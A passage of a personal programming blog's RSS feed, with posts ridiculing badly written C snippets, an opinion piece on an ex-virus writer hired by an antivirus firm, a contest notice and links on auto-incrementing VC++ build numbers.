]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p><p>// Rule category obtained from GUI<br /> #define RULECATEGORY_1 &#8220;Type 1 Rules&#8221;<br /> #define RULECATEGORY_2 &#8220;Type 2 Rules&#8221;<br /> #define RULECATEGORY_3 &#8220;Type 3 Rules&#8221;<br /> #define RULECATEGORY_4 &#8220;Type 4 Rules&#8221;<br /> #define RULECATEGORY_5 &#8220;Type 5 Rules&#8221;<br /> #define RULECATEGORY_6 &#8220;Type 6 Rules&#8221;<br /> #define RULECATEGORY_7 &#8220;Type 7 Rules&#8221;<br /> #define RULECATEGORY_8 &#8220;Type 8 Rules&#8221;</p><p>// Constants indicating the rule category<br /> #define CR_1  0<br /> #define CR_2  1<br /> #define CR_3  2<br /> #define CR_4  3<br /> #define CR_5  4<br /> #define CR_6  5<br /> #define CR_7  6<br /> #define CR_8  7<br /> #define CR_9  8</p><p>int InitiateRuleChecking (<br /> ORD4 start_index,<br /> ORD4 stop_index,<br /> ORD2 num,<br /> char *category,<br /> ChkStruct &#038;bool_struct,<br /> ORD4 array_size<br /> )<br /> {</p><p>int tempCategory = -1;<br /> if(strcmp(category, RULECATEGORY_1) == 0)<br /> {<br /> tempCategory = CR_1;<br /> }<br /> else if(strcmp(category, RULECATEGORY_2) == 0)<br /> {<br /> tempCategory = CR_2;<br /> }<br /> else if(strcmp(category, RULECATEGORY_2) == 0)<br /> {<br /> tempCategory = CR_3;<br /> }<br /> else if(strcmp(category, RULECATEGORY_3) == 0)<br /> {<br /> tempCategory = CR_4;<br /> }<br /> else if(strcmp(category, RULECATEGORY_4) == 0)<br /> {<br /> tempCategory = CR_4;<br /> }<br /> else if(strcmp(category, RULECATEGORY_5) == 0)<br /> {<br /> tempCategory = CR_5;<br /> }<br /> else if(strcmp(category, RULECATEGORY_6) == 0)<br /> {<br /> tempCategory = CR_6;<br /> }<br /> else if(strcmp(category, RULECATEGORY_7) == 0)<br /> {<br /> tempCategory = CR_7;<br /> }<br /> else if(strcmp(category, RULECATEGORY_8) == 0)<br /> {<br /> tempCategory = CR_8;<br /> }<br /> else<br /> {<br /> // Category not defined<br /> AssertErr(&#8220;Category requested by user not found &#8220;);<br /> return -1;<br /> }</p><p>// Remaining code&#8230;</p><p>}</p><p>&#8212;[ End snippet ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/dumb-code-1/" rel="bookmark" class="crp_title">Dumb Code &#8211; 1</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/what-are-chess-tournament-categories/" rel="bookmark" class="crp_title">What are chess tournament categories?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/effectively-debugging-end-user-issues/" rel="bookmark" class="crp_title">Effectively debugging the end-user issues</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/" rel="bookmark" class="crp_title">Autoincrementing the Build Numbers in VC++</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/annoying-fellows/" rel="bookmark" class="crp_title">Annoying fellows</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Dumb+Code+-+2+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/dumb-code-2/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;title=Dumb+Code+-+2" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;title=Dumb+Code+-+2" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;title=Dumb+Code+-+2&amp;desc=I%20noticed%20the%20following%20code%20last%20week%20in%20one%20of%20our%20tools.%20The%20user%20selects%20some%20data%20in%20the%20GUI%2C%20selects%20a%20list%20of%20rules%20that%20are%20to%20be%20applied%20on%20that%20range%2C%20presses%20%22Run%20rules%22.%20The%20GUI%20should%20pass%20certain%20parameters%20to%20the%20module%20below.%20This%20is%20one%20of%20the%20APIs%20exposed%20to%20the%20GUI%20by%20that%20module." rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;bm_description=Dumb+Code+-+2&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;title=Dumb+Code+-+2" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;title=Dumb+Code+-+2" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&amp;title=Dumb+Code+-+2" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/dumb-code-2/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-49-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/dumb-code-2/&quot;&gt;Dumb Code &#8211; 2&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/dumb-code-2/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Dumb Code &#8211; 1</title><link>http://kannan.jumbledthoughts.com/index.php/dumb-code-1/</link> <comments>http://kannan.jumbledthoughts.com/index.php/dumb-code-1/#comments</comments> <pubDate>Thu, 28 Apr 2005 06:48:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[dumb]]></category> <category><![CDATA[coding]]></category> <category><![CDATA[developer]]></category> <category><![CDATA[windows]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/2005/04/27/dumb-code-1/</guid> <description><![CDATA[Recently, I was helping a friend debug an application debugger. In one of the report/UI modules, he had to log the date execution started + more process meta info. For date conversion, instead of using one of the inbuilt CRT functions, with the true spirit of a good (!?) programmer, he decided to implement it [...]]]></description> <content:encoded><![CDATA[<p>Recently, I was helping a friend debug an application debugger. In one of the report/UI modules, he had to log the date execution started + more process meta info. For date conversion, instead of using one of the inbuilt CRT functions, with the true spirit of a good (!?) programmer, he decided to implement it himself. When I saw the code, I couldn&#8217;t help asking him &#8220;How many years have you been programming?&#8221;!! Check out this so called production-quality (??) code&#8230;</p><p><code>define MONTHS_SIZE 12</p><p>typedef struct __monthNoPair<br /> {<br /> char *strNoMonth;<br /> char *strMonthName;<br /> } monthNoPair;<br /> <span id="more-47"></span><br /> static monthNoPair months[] =  {<br /> ("1", "January"),<br /> ("2", "February"),<br /> ("3", "March"),<br /> ("4", "April"),<br /> ("5", "May"),<br /> ("6", "June"),<br /> ("7", "July"),<br /> ("8", "August"),<br /> ("9", "September"),<br /> ("10", "October"),<br /> ("11", "November"),<br /> ("12", "December")</p><p>};</p><p>char *getMonthFromData(int noMonth)<br /> {<br /> int i;</p><p>for (i=0; i &lt; MONTHS_SIZE; i++)<br /> {<br /> if (atoi(months[i].strNoMonth) == noMonth)<br /> return strdup(months[i].strMonthName);<br /> }<br /> return NULL;<br /> }</code></p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/dumb-code-2/" rel="bookmark" class="crp_title">Dumb Code &#8211; 2</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/good-programmer-sense-of-humor-programming-skills/" rel="bookmark" class="crp_title">Good programmer = Sense of humor + Programming skills</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/oregon-here-i-come/" rel="bookmark" class="crp_title">Oregon, here I come!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/" rel="bookmark" class="crp_title">No..not another WordPress version!!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/dumb-error-messages/" rel="bookmark" class="crp_title">Dumb Error Messages</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Dumb+Code+-+1+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/dumb-code-1/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;title=Dumb+Code+-+1" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;title=Dumb+Code+-+1" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;title=Dumb+Code+-+1&amp;desc=Recently%2C%20I%20was%20helping%20a%20friend%20debug%20an%20application%20debugger.%20In%20one%20of%20the%20report%2FUI%20modules%2C%20he%20had%20to%20log%20the%20date%20execution%20started%20%2B%20more%20process%20meta%20info.%20For%20date%20conversion%2C%20instead%20of%20using%20one%20of%20the%20inbuilt%20CRT%20functions%2C%20with%20the%20true%20spirit%20of%20a%20good%20%28%21%3F%29%20programmer%2C%20he%20decided%20to%20im" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;bm_description=Dumb+Code+-+1&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;title=Dumb+Code+-+1" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;title=Dumb+Code+-+1" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&amp;title=Dumb+Code+-+1" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/dumb-code-1/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-47-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/dumb-code-1/&quot;&gt;Dumb Code &#8211; 1&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/dumb-code-1/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Are you a virus writer? Don&#8217;t despair!!</title><link>http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/</link> <comments>http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/#comments</comments> <pubDate>Mon, 13 Dec 2004 07:54:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Technology]]></category> <category><![CDATA[antivirus]]></category> <category><![CDATA[companies]]></category> <category><![CDATA[Piracy]]></category> <category><![CDATA[virus]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/2004/12/12/are-you-virus-writer-dont-despair/</guid> <description><![CDATA[Benny, one of my favorites (!?) from 29A has got a day job. He was hired by Zoner Antivirus team (Czhech). This has become such an issue, which I don&#8217;t understand at all. The argument against hiring virii coders is that the employers will lose credibility as their software is developed by an ex-malicious code [...]]]></description> <content:encoded><![CDATA[<p><a rel="nofollow" target="_blank" href="http://benny.pueblo.cz/">Benny</a>, one of my favorites (!?) from 29A has got a day job. <a rel="nofollow" target="_blank" href="http://www.theregister.co.uk/2004/11/08/vxer_joins_av_zoner/">He was hired by Zoner Antivirus</a> team (Czhech). This has become such an issue, which I don&#8217;t understand at all. The argument against hiring virii coders is that the employers will lose credibility as their software is developed by an ex-malicious code developer. WTH? We have a saying in my country, which, to paraphrase, says &#8220;Only a thief can *find* another thief&#8221;&#8230;True, isn&#8217;t it? An ex-virii coder knows the tricks of the trade, he understands how his former-peers think, how they try to find vulnerabilities and how their polymorphic engines tick! This is crucial information, IMO.</p><p>If a security firm is not hiring a seasoned hacker, it is akin to a country&#8217;s intelligence agency refusing information from an opponent&#8217;s intelligence agent! Antivirus companies say that the skills needed for writing security software is completely different from that needed for writing malicious code. This may be true in some cases, but I cannot accept the statement as such. C&#8217;mon, if I know how to exploit a vulnerability, surely you can make use of that knowledge to fix that vulnerability, in the first place, right?? You write your software, give it to the fellow, whose job is to crack it somehow&#8230;.He will be pretty effective at it than a 10 man testing team &amp; a Quality assurance expert!! It all boils down to how you make use of the talent, IMHO. Anyhow, congrats &amp; all the best, Benny!</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/" rel="bookmark" class="crp_title">Virus group 29A disbanded &#8211; who&#8217;s next?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/nonot-another-wordpress-version/" rel="bookmark" class="crp_title">No..not another WordPress version!!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/effectively-debugging-end-user-issues/" rel="bookmark" class="crp_title">Effectively debugging the end-user issues</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/new-yahoo-rd-lab-is-yahoo-hiring-or-firing/" rel="bookmark" class="crp_title">New Yahoo R&amp;D lab: Is Yahoo hiring or firing?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/yahoo-vs-google-why-yahoo-lags-behind/" rel="bookmark" class="crp_title">Yahoo vs Google: why Yahoo lags behind?</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Are+you+a+virus+writer%3F+Don%27t+despair%21%21+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;title=Are+you+a+virus+writer%3F+Don%27t+despair%21%21" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;title=Are+you+a+virus+writer%3F+Don%27t+despair%21%21" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;title=Are+you+a+virus+writer%3F+Don%27t+despair%21%21&amp;desc=Benny%2C%20one%20of%20my%20favorites%20%28%21%3F%29%20from%2029A%20has%20got%20a%20day%20job.%20He%20was%20hired%20by%20Zoner%20Antivirus%20team%20%28Czhech%29.%20This%20has%20become%20such%20an%20issue%2C%20which%20I%20don%27t%20understand%20at%20all.%20The%20argument%20against%20hiring%20virii%20coders%20is%20that%20the%20employers%20will%20lose%20credibility%20as%20their%20software%20is%20developed%20by%20an%20ex-mali" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;bm_description=Are+you+a+virus+writer%3F+Don%27t+despair%21%21&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;title=Are+you+a+virus+writer%3F+Don%27t+despair%21%21" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;title=Are+you+a+virus+writer%3F+Don%27t+despair%21%21" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&amp;title=Are+you+a+virus+writer%3F+Don%27t+despair%21%21" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-42-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/&quot;&gt;Are you a virus writer? Don&#8217;t despair!!&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/are-you-virus-writer-dont-despair/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>Microsoft India is hosting a development contest</title><link>http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/</link> <comments>http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/#comments</comments> <pubDate>Wed, 22 Sep 2004 13:22:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[microsoft]]></category> <category><![CDATA[windows]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/2004/09/22/microsoft-india-is-hosting-development/</guid> <description><![CDATA[Microsoft Windows Mobile Application Development Contest Contest Launch: Aug 03, 2004 Contest Dates: Sep 01, 2004 â€“ Nov 30, 2004 If you are a mobile developer, this is a great opportunity to showcase your product http://www.microsoft.com/india/windows/mobile/contest/windows4mobile/ Related Posts:Windows Beginner Developer Learning Center &#8211; Gr8 idea!Virus group 29A disbanded &#8211; who&#8217;s next?Windows Graphics FoundationGoogle?? Browser???Microsoft wants [...]]]></description> <content:encoded><![CDATA[<p><strong>Microsoft Windows Mobile Application Development Contest </strong><br /> <font color="#800000">Contest Launch:</font> Aug 03, 2004<br /> <font color="#800000">Contest Dates:</font> Sep 01, 2004 â€“ Nov 30, 2004</p><p>If you are a mobile developer, this is a great opportunity to showcase your product</p><p><a rel="nofollow" target="_blank" href="http://www.microsoft.com/india/windows/mobile/contest/windows4mobile/" target="_blank">http://www.microsoft.com/india/windows/mobile/contest/windows4mobile/</a></p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-beginner-developer-learning-center-gr8-idea/" rel="bookmark" class="crp_title">Windows Beginner Developer Learning Center &#8211; Gr8 idea!</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/virus-group-29a-disbanded-whos-next/" rel="bookmark" class="crp_title">Virus group 29A disbanded &#8211; who&#8217;s next?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/windows-graphics-foundation/" rel="bookmark" class="crp_title">Windows Graphics Foundation</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/google-browser/" rel="bookmark" class="crp_title">Google?? Browser???</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/microsoft-wants-to-buy-yahoo/" rel="bookmark" class="crp_title">Microsoft wants to buy Yahoo!</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Microsoft+India+is+hosting+a+development+contest+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;title=Microsoft+India+is+hosting+a+development+contest" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;title=Microsoft+India+is+hosting+a+development+contest" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;title=Microsoft+India+is+hosting+a+development+contest&amp;desc=Microsoft%20Windows%20Mobile%20Application%20Development%20Contest%20%0D%0AContest%20Launch%3A%20Aug%2003%2C%202004%0D%0AContest%20Dates%3A%20Sep%2001%2C%202004%20%C3%A2%E2%82%AC%E2%80%9C%20Nov%2030%2C%202004%0D%0A%0D%0AIf%20you%20are%20a%20mobile%20developer%2C%20this%20is%20a%20great%20opportunity%20to%20showcase%20your%20product%0D%0A%0D%0Ahttp%3A%2F%2Fwww.microsoft.com%2Findia%2Fwindows%2Fmobile%2Fcontest%2Fwindows4mobile%2F" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;bm_description=Microsoft+India+is+hosting+a+development+contest&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;title=Microsoft+India+is+hosting+a+development+contest" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;title=Microsoft+India+is+hosting+a+development+contest" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&amp;title=Microsoft+India+is+hosting+a+development+contest" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-11-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/&quot;&gt;Microsoft India is hosting a development contest&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/microsoft-india-is-hosting-development/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Autoincrementing the Build Numbers in VC++</title><link>http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/</link> <comments>http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/#comments</comments> <pubDate>Tue, 21 Sep 2004 10:14:00 +0000</pubDate> <dc:creator>kannanmr</dc:creator> <category><![CDATA[Code]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[HowTo]]></category> <category><![CDATA[C++]]></category><guid isPermaLink="false">http://kannan.jumbledthoughts.com/index.php/2004/09/21/autoincrementing-build-numbers-in-vc/</guid> <description><![CDATA[The option to automatically increment the build numbers (for successful builds) is one thing VC++ misses. AFAIK, VB &#38; Borland C++/Delphi users have long had this ability. http://www.codeguru.com/Cpp/V-S/devstudio_macros/versioncontrol/article.php/c3129 This solution makes use of Application_BeforeBuildStart() handler to increment the RC VERSIONINFO. The Build # is incremented even for failed builds. http://www.codeproject.com/cpp/rcversion.asp Not exactly an auto-increment solution. [...]]]></description> <content:encoded><![CDATA[<p><br /> The option to automatically increment the build numbers (for successful builds) is one thing VC++ misses. AFAIK, VB &amp; Borland C++/Delphi users have long had this ability.</p><p><a rel="nofollow" target="_blank" href="http://www.codeguru.com/Cpp/V-S/devstudio_macros/versioncontrol/article.php/c3129" target="_blank">http://www.codeguru.com/Cpp/V-S/devstudio_macros/versioncontrol/article.php/c3129</a></p><p>This solution makes use of Application_BeforeBuildStart() handler to increment the RC VERSIONINFO. The Build # is incremented even for failed builds.</p><p><a rel="nofollow" target="_blank" href="http://www.codeproject.com/cpp/rcversion.asp" target="_blank">http://www.codeproject.com/cpp/rcversion.asp</a></p><p>Not exactly an auto-increment solution. This allows you to enter the version info during the build process.</p><p><a rel="nofollow" target="_blank" href="http://www.codeguru.com/Cpp/V-S/devstudio_macros/article.php/c3183" target="_blank">http://www.codeguru.com/Cpp/V-S/devstudio_macros/article.php/c3183</a></p><p>Another solution posted in CodeGuru. It is assignable to any key and when invoked it updates the RC &#8220;FileVersion&#8221; field and does &#8220;BuildToggleBuild&#8221;. <img src='http://kannan.jumbledthoughts.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' title="Autoincrementing the Build Numbers in VC++ (Jumbled Thoughts)" /></p><p><a rel="nofollow" target="_blank" href="http://support.microsoft.com/default.aspx?scid=kb;EN-US;q237870" target="_blank">http://support.microsoft.com/default.aspx?scid=kb;EN-US;q237870</a></p><p>Solution posted by MS. The autoincrementing code is attached to Application_BuildFinish(). It updates a #define in versionno.h which is included by the user resource file (RC2) .</p><p><a rel="nofollow" target="_blank" href="http://www.flipcode.com/cgi-bin/msg.cgi?showThread=Tip-AutomaticBuildVersion&amp;forum=totd&amp;id=-1" target="_blank">http://www.flipcode.com/cgi-bin/msg.cgi?showThread=Tip-AutomaticBuildVersion&amp;forum=totd&amp;id=-1</a></p><p>I haven&#8217;t tried this. But, the author claims to combine the best of MS &amp; Codeguru (second one) 